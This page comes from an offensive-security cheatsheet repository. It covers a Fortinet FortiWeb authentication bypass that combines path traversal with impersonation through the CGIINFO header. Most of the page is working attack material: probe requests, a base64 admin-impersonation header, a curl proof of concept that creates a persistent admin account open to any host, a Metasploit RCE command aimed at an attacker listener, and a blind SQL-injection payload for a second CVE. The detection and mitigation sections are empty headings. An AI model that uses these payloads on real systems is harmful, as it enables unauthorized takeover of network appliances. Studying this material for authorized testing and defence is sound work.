repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
fortinet-fortiweb.mdMarkdown200 lines12.3 KiBsource raw download

title: "Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-web/fortinet-fortiweb.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/fortinet-fortiweb.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation#

Overview#

Fortinet FortiWeb exposes a centralized CGI dispatcher at /cgi-bin/fwbcgi. A two-bug chain allows an unauthenticated remote attacker to:

Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Exploitation has been observed in the wild to create persistent admin users.[1]

Impacted versions (as publicly documented):[2]

FortiWeb 8.0.2 returns HTTP 403 for the traversal probe below.[2]

Quick vulnerability probe#

GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
curl -sk -X POST \
  -H 'Content-Type: application/json' \
  --data '{}' \
  'https://<host>/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi'

Root cause chain#

  1. API-prefix path traversal to internal CGI
  1. Minimal-body validation bypass
  1. Header-driven user impersonation
{
  "username": "admin",
  "profname": "prof_admin",
  "vdom": "root",
  "loginname": "admin"
}

Base64 of the above (as used in-the-wild):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

End-to-end abuse pattern (unauthenticated → admin)#

  1. Reach /cgi-bin/fwbcgi via an API-prefix traversal.[2]
  2. Provide any valid JSON body (e.g., {}) to satisfy the input check.
  3. Send header CGIINFO: <base64(json)> where the JSON defines the target identity.
  4. POST the backend JSON expected by fwbcgi to perform privileged actions (e.g., create an admin user for persistence).

Minimal cURL PoC#

curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
  -H "CGIINFO: $B64" \
  -H 'Content-Type: application/json' \
  -X POST \
  --data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
  'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

Notes:

Chaining the auth bypass to OS-level RCE#

msfconsole -q -x 'use exploit/linux/http/fortinet_fortiweb_rce; set RHOSTS <target>; set LHOST <listener>; check; run'

Other FortiWeb vulnerabilities worth checking quickly#

Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)#

time curl -sk \
  -H "Authorization: Bearer AAAAAA'/**/or/**/sleep(5)--/**/-'" \
  'https://<host>/api/fabric/device/status'

FortiCloud SSO signature bypass (CVE-2025-59719)#

Administrative FortiCloud SSO account-binding bypass (CVE-2026-24858)#

OS command injection in management plane (CVE-2025-58034)#

Detection#

Mitigation#

References#